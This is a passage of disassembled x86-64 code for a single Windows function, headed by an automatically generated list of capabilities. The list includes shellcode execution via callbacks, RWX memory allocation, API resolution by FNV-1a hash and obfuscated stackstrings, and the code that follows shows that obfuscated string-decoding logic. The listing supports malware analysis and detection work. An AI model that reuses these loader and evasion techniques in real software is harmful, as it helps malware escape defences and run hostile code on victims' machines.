Function at 0x1401d6aa0
Capabilities:
Accept command line arguments
Access peb ldr_data
Allocate or change rwx memory
Authenticate hmac
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Enumerate gui resources
Enumerate process modules
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get ntdll base address
Get number of processors
Hash data using fnv
Parse pe header
Read file via mapping
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4228]
mov eax, 0x4300
call fcn.140250630
sub rsp, rax
mov rax, qword [0x1404d1c80]
xor rax, rsp
mov qword [rbp + 0x41f0], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rax
lea rcx, [rbp + 0x4228]
movabs rdx, 0xff00ff00ff00ff07
mov qword [rbp + 0x58], rdx
mov qword [rbp + 0x60], rcx
mov rax, qword [rcx]
mov qword [rbp + 0x50], rax
xor rax, rdx
mov qword [rbp + 0x50], rax
xor eax, eax
mov qword [rcx], rax
mov qword [rbp + 0x11c8], rax
lea r15d, [rax + 1]
mov byte [rbp + 0x11cc], r15b
or dword [rbp + 0x11c8], r15d
lea r8d, [rax + 8]
lea rdx, [rbp + 0x11c8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessMitigationPolicy]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
or r12, 0xffffffffffffffff
mov dword [rsp + 0x6c], 0xeced0b92
mov dword [rsp + 0x70], 0xf84eee59
mov dword [rsp + 0x74], 0xb3002016
mov dword [rsp + 0x78], 0x2fd4df39
mov dword [rsp + 0x7c], 0xe80fd3a
mov dword [rbp - 0x80], 0xa52bcaf9
mov dword [rbp - 0x7c], 0x820621f3
mov dword [rbp - 0x78], 0x33b00bc5
test rax, rax
je 0x1401dcd26
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
mov qword [rbp - 0x20], rcx
movzx eax, word [rcx + 0x14]
add rax, 0x18
add rax, rcx
mov qword [rbp - 0x18], rax
xor eax, eax
mov dword [rsp + 0x68], eax
cmp ax, word [rcx + 6]
jae 0x1401dcd26
mov r15b, byte [rsp + 0x50]
mov qword [rbp - 0x10], r15
mov r12b, byte [rsp + 0x50]
mov qword [rbp - 8], r12
mov r14b, byte [rsp + 0x50]
mov qword [rbp - 0x68], r14
mov r13b, byte [rsp + 0x50]
mov qword [rbp - 0x58], r13
mov dil, byte [rsp + 0x50]
mov qword [rbp - 0x50], rdi
mov sil, byte [rsp + 0x50]
mov qword [rbp - 0x48], rsi
mov byte [rbp + 0x2a0], 0xbe
mov byte [rbp + 0x2a1], 0x62
mov byte [rbp + 0x2a2], __WSAFDIsSet
mov byte [rbp + 0x2a3], 0x62
mov byte [rbp + 0x2a4], reloc.WLDAP32.dll_Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2a5], xmm0
mov dword [rbp + 0x2b5], eax
mov word [rbp + 0x2b9], ax
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x1b
jae 0x1401d78c0
movzx r8d, byte [rbp + r9 + 0x2a0]
mov r11d, r8d
cmp rbx, r9
ja 0x1401d78b7
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1401d6c93
movabs rcx, 0x3a7c88d20b7eafe2
add rcx, r9
mov rax, rcx
and rax, r11
imul r15, rax, 0xfffffffffffffffe
add r15, rcx
add r15, r11
sub r15b, 0x2e
jmp 0x1401d6f4e
je 0x1401d7818
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401d77de
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401d7793
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1401d7731
cmp r10, r9
ja 0x1401d78ae
lea rax, [r10 + 8]
cmp rbx, rax
jae 0x1401d6cfa
movabs rdx, 0xcc37393af1646d8a
add rdx, r9
mov al, dl
and al, r11b
mov ecx, Ordinal_32
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r11b
jmp 0x1401d6f22
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401d770f
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401d76ee
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401d76cb
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401d763f
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1401d761b
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401d72af
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x1401d7287
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401d7264
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x1401d7241
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x1401d7219
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401d71f6
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x1401d71ca
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401d71a2
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x1401d717f
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401d7157
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x1401d6d48
lea rbx, [r10 + 0x10]
lea r10, [rbx + 1]
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x1401d7882
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x1401d7856
lea rax, [r10 + 0x64]
cmp rbx, rax
jb 0x1401d6f57
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x1401d6f2b
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x1401d6eff
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x1401d7131
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x1401d7109
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x1401d70e6
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x1401d70b6
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1401d6d48
mov rbx, rax
lea r10, [rax + 8]
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1401d7093
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x1401d706b
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401d7048
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x1401d7024
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x1401d6fff
lea rax, [r10 + 1]
cmp rbx, rax
ja 0x1401d6fd9
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x1401d6fb5
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x1401d6fa1
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x1401d6f7e
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x1401d6d48
lea rbx, [r10 + 0x40]
lea r10, [rbx + 0x40]
jmp 0x1401d6d48
movabs rdx, 0xc19e4a0c3dc97fb6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, dl
mov qword [rbp - 0x10], r15
jmp 0x1401d6d3b
movabs rdx, 0x4ca5386826cc1ff2
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r11b
mov qword [rbp - 0x10], r15
jmp 0x1401d6cc0
movabs rcx, 0xd7ac26c40fcec02e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x42
mov qword [rbp - 0x10], r15
jmp 0x1401d6c5b
movabs rdx, 0x61b9c9d78b236c50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x30
jmp 0x1401d774f
movabs rdx, 0xecc0b83374260c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401d74a0
movabs rcx, 0x77c7a68f5d28acc8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x78
jmp 0x1401d741d
movabs rdx, 0x2ce94eb462b4d04
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x1c
add r15b, dl
jmp 0x1401d77b1
movabs rdx, 0x8dd583472f2ded40
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
jmp 0x1401d77fe
movabs rcx, 0x18dc71a318308d7c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x64
jmp 0x1401d71ed
movabs rcx, 0xa3e35fff01332db8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 8
jmp 0x1401d765d
movabs rdx, 0x2eea4e5aea35cdf4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x1401d768f
movabs rcx, 0xb9f13cb6d3386e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x50
jmp 0x1401d783b
movabs rcx, 0x9582909c99befec6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x6a
mov qword [rbp - 0x10], r15
mov byte [rbp + r9 + 0x2a0], r15b
jmp 0x1401d784e
movabs rdx, 0x20897ef882c19f02
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0xe
jmp 0x1401d735a
movabs rdx, 0xab906d546bc43f3e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x1401d731c
movabs rdx, 0x36975bb054c6df7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x56
add r15b, dl
jmp 0x1401d72da
movabs rdx, 0xc94b5761a85a913c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x1401d783b
movabs rcx, 0x545245bd915d3178
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x48
jmp 0x1401d768f
movabs rdx, 0xdf5934197a5fd1b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x1401d765d
movabs rdx, 0x6a602275636271f0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
mov qword [rbp - 0x10], r15
jmp 0x1401d7808
movabs rcx, 0xf56710d14c65122c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x34
jmp 0x1401d7801
movabs rdx, 0x806dff2d3567b268
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
jmp 0x1401d77b1
movabs rcx, 0xb74ed891e6a52a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x7c
jmp 0x1401d741d
movabs rcx, 0x967bdbe5076cf2e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x20
jmp 0x1401d777a
movabs rdx, 0x2182ca40f06f931c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
jmp 0x1401d7752
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x1401d7394
movabs rcx, 0x3a7c88d20b7eafe2
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x2e
mov qword [rbp - 0x10], r15
lea rax, [r10 + rbx]
cmp rax, 0x28
je 0x1401d75f0
lea rcx, [r10 + 3]
cmp rbx, rcx
jbe 0x1401d745c
movabs rdx, 0xefac9a0cbd2fe8da
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 5
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
mov qword [rbp - 0x10], r15
cmp rbx, 0x3e8
jae 0x1401d75c9
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x1401d7512
movabs rdx, 0xbbe3d347ae945664
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
mov qword [rbp - 0x10], r15
cmp r10, 0x5a
jb 0x1401d70d9
movabs rdx, 0x4d9e83b0947a140c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea r15d, [rcx + rcx]
jmp 0x1401d7752
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401d73c5
movabs rdx, 0x986e7275e2c8db14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
jmp 0x1401d783b
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401d73f1
movabs rdx, 0x826095be10c39a9c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x44
jmp 0x1401d71c2
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401d742c
movabs rdx, 0x5644dc4e6cb919ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
mov qword [rbp - 0x10], r15
mov r15d, 1
jmp 0x1401d7787
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401d72de
movabs rdx, 0x4036ff969ab3d934
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x6c
jmp 0x1401d774f
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401d7488
movabs rdx, 0x64a5abb0d42d489e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x52
jmp 0x1401d774f
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401d74b9
movabs rdx, 0xd99ebd54eb2aa862
mov ecx, reloc.WLDAP32.dll_Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x1401d777a
cmp rbx, rcx
jne 0x1401d74e2
movabs rcx, 0x4e97cef902280826
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0xa
jmp 0x1401d741d
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401d7320
movabs rdx, 0x227c15895e1d8736
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x7a
jmp 0x1401d71c2
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401d753e
movabs rcx, 0x30dce4ebc591b628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x18
jmp 0x1401d783b
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401d756a
movabs rcx, 0x8fc819d80a89d574
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x2c
jmp 0x1401d71ed
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401d7598
movabs rdx, 0x79ba3d20388494fc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
jmp 0x1401d6ff7
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401d7361
movabs rcx, 0xeeb34ec44f81f4c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x40
jmp 0x1401d741d
movabs rdx, 0xc2979554ab7773d0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r15d, [rcx + rcx]
add r15b, byte [rbp + r9 + 0x2a0]
jmp 0x1401d7590
movabs rdx, 0x3790a6f8c274d394
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, byte [rbp + r9 + 0x2a0]
sub r15b, 0xc
jmp 0x1401d71c2
movabs rcx, 0xe8f8d7ffc04ccb6e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea r15d, [rcx + r11]
sub r15b, 2
jmp 0x1401d783b
movabs rcx, 0xff06b4b792520be6
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x4a
movabs rdx, 0x720d2fcacdf38376
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x3a
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x2a0], al
inc r10
add rax, r10
sub r9, rax
mov qword [rbp - 0x10], r15
movabs rcx, 0xac89b89cd9723358
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x68
add r8b, cl
mov byte [rbp + r9 + 0x2a0], r8b
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1401d783f
movabs rcx, 0xa01b7fcb4d59ec9a
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x36
jmp 0x1401d77b1
movabs rcx, 0xb6295c831f5f2d12
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea r15d, [rcx + r11]
sub r15b, 0x7e
jmp 0x1401d777a
movabs rcx, 0x41304adf0861cd4e
add rcx, r9
and r11b, cl
add r11b, r11b
mov r15b, r8b
sub r15b, r11b
sub r15b, 0x22
add r15b, cl
jmp 0x1401d7752
movabs rdx, 0x573e2796da670dc6
add rdx, r9
mov al, r11b
and al, dl
add al, al
mov r15b, r11b
sub r15b, al
sub r15b, 0x6a
add r15b, dl
movabs rdx, 0x881b0c829ff8c3ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x2a0], cl
mov qword [rbp - 0x10], r15
mov r15d, 1
add r10, r15
sub r9, r15
mov r15, qword [rbp - 0x10]
jmp 0x1401d784e
movabs rcx, 0xf852f2aa956eee7a
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x56
movabs rdx, 0xfd141e26b6f623b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, r15b
mov byte [rbp + r9 + 0x2a0], cl
jmp 0x1401d7801
movabs rdx, 0x8359e1067e718eb6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, dl
mov qword [rbp - 0x10], r15
add rbx, r10
movzx eax, r15b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401d784e
movabs rdx, 0xaf759a76227c0fa6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r11b
mov qword [rbp - 0x10], r15
movzx eax, byte [rbp + r9 + 0x2a0]
add rax, r10
add r9, rax
inc r9
jmp 0x1401d6c45
movabs rdx, 0x62b3151ff8d1606a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
mov qword [rbp - 0x10], r15
jmp 0x1401d6c40
movabs rdx, 0xedba037be1d400a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
mov qword [rbp - 0x10], r15
jmp 0x1401d6c30
lea rcx, [rbp + 0x15e2e78]
jmp 0x1401d78c7
lea rcx, [rbp + 0x15cde5a]
jmp 0x1401d78c7
lea rcx, [rbp + 0x2a0]
mov rax, qword [rbp - 0x18]
sub rcx, rax
mov r15d, 1
movzx r8d, byte [rax]
movzx edx, byte [rax + rcx]
sub r8d, edx
jne 0x1401d78e8
add rax, r15
test edx, edx
jne 0x1401d78d4
xor eax, eax
test r8d, r8d
jne 0x1401dccf9
mov byte [rbp + 0xd30], 0x9b
mov byte [rbp + 0xd31], 0x59
mov byte [rbp + 0xd32], 0x80
mov byte [rbp + 0xd33], 0x5b
mov byte [rbp + 0xd34], 0xa0
mov byte [rbp + 0xd35], 0x45
mov byte [rbp + 0xd36], 0xbb
mov byte [rbp + 0xd37], 0x47
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_2118], 0xd3
mov byte [rbp + 0xd39], 0x41
mov byte [rbp + 0xd3a], 0xaf
mov byte [rbp + 0xd3b], 0x43
mov byte [rbp + 0xd3c], 0xde
mov byte [rbp + 0xd3d], Ordinal_79
mov byte [rbp + 0xd3e], 0xdd
mov byte [rbp + 0xd3f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xd40], 0xac
mov byte [rbp + 0xd41], Ordinal_79
mov byte [rbp + 0xd42], 0x86
mov byte [rbp + 0xd43], Ordinal_79
mov byte [rbp + 0xd44], 0x99
mov byte [rbp + 0xd45], 0x75
mov byte [rbp + 0xd46], 0x98
mov byte [rbp + 0xd47], 0x77
mov byte [rbp + 0xd48], __WSAFDIsSet
mov byte [rbp + 0xd49], WSACleanup
mov byte [rbp + 0xd4a], 0xef
mov byte [rbp + 0xd4b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xd4c], 0xe8
mov byte [rbp + 0xd4d], 0x7d
mov byte [rbp + 0xd4e], 0xe2
mov byte [rbp + 0xd4f], 0x7f
mov byte [rbp + 0xd50], 0x9c
mov byte [rbp + 0xd51], 0x79
mov byte [rbp + 0xd52], 0xbb
mov byte [rbp + 0xd53], 0x7b
mov byte [rbp + 0xd54], 0xf4
mov byte [rbp + 0xd55], 0x65
mov byte [rbp + 0xd56], 0xf6
mov byte [rbp + 0xd57], 0x67
mov byte [rbp + 0xd58], 0xac
mov byte [rbp + 0xd59], 0x61
mov byte [rbp + 0xd5a], 0x83
mov byte [rbp + 0xd5b], 0x63
mov byte [rbp + 0xd5c], 0xf0
mov byte [rbp + 0xd5d], WSASetLastError
mov byte [rbp + 0xd5e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xd5f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xd60], Ordinal_143
mov byte [rbp + 0xd61], WSAGetLastError
mov byte [rbp + 0xd62], 0xa7
mov byte [rbp + 0xd63], WSASetLastError
mov byte [rbp + 0xd64], 0x88
mov byte [rbp + 0xd65], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xd66], 0xfe
mov byte [rbp + 0xd67], reloc.WS2_32.dll_socket
mov byte [rbp + 0xd68], 0xfd
mov byte [rbp + 0xd69], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xd6a], 0x80
mov byte [rbp + 0xd6b], reloc.WS2_32.dll_send
mov byte [rbp + 0xd6c], 0xfd
mov byte [rbp + 0xd6d], Ordinal_32
mov byte [rbp + 0xd6e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xd6f], Ordinal_32
mov byte [rbp + 0xd70], 0xfa
mov byte [rbp + 0xd71], Ordinal_27
mov byte [rbp + 0xd72], 0xf3
mov byte [rbp + 0xd73], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xd74], __WSAFDIsSet
mov byte [rbp + 0xd75], 5
mov byte [rbp + 0xd76], 6
mov byte [rbp + 0xd77], 7
xorps xmm0, xmm0
movups xmmword [rbp + 0xd78], xmm0
mov qword [rbp + 0xd88], rax
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r9, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x60
jae 0x1401d853f
movzx r8d, byte [rbp + r10 + 0xd30]
mov r11d, r8d
cmp rbx, r10
ja 0x1401d8532
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401d7b5c
movabs r12, 0xe2ff43c1b0c1bb8c
lea rcx, [r10 + r12]
mov rax, rcx
and rax, r8
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r8
add dl, 0x2c
jmp 0x1401d7b96
je 0x1401d8499
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401d8440
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401d83d8
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1401d83ab
mov dl, r12b
movabs r12, 0xe2ff43c1b0c1bb8c
cmp r9, r10
ja 0x1401d8523
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x1401d7bc9
movabs rcx, 0x9ef08ee37fe4627c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x64
add cl, r8b
jmp 0x1401d7bff
lea rax, [r9 + 1]
cmp rbx, rax
je 0x1401d8362
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401d833c
lea rax, [r9 + 4]
cmp rbx, rax
je 0x1401d8319
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401d82f5
mov cl, dl
mov r11d, Ordinal_32
mov qword [rbp - 8], rcx
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x1401d7f3d
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x1401d7f1c
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x1401d7f08
lea rax, [r9 + 8]
cmp rbx, rax
je 0x1401d7eee
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x1401d7eca
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x1401d7ea9
lea rax, [r9 + 9]
cmp rbx, rax
je 0x1401d7e95
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x1401d84fb
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x1401d84d3
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x1401d7d2e
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x1401d7e7e
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x1401d7e4a
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x1401d7c16
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x1401d7e25
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x1401d7e02
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x1401d7de1
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x1401d7db9
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x1401d7d94
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x1401d7d72
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x1401d7d4f
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x1401d7c16
movabs rcx, 0x4099ca2af930d504
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
sub cl, r11b
jmp 0x1401d7c05
movabs rdx, 0xf784771bff2313e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x20
add cl, dl
jmp 0x1401d837e
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub cl, 0x78
add cl, r8b
jmp 0x1401d835c
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
jmp 0x1401d83c8
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r8b
add r12b, dl
jmp 0x1401d8429
movabs rdx, 0x538d4a07b60e4950
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x30
jmp 0x1401d82b6
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
jmp 0x1401d845c
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
jmp 0x1401d84b5
movabs rdx, 0x5893e8387f3eb164
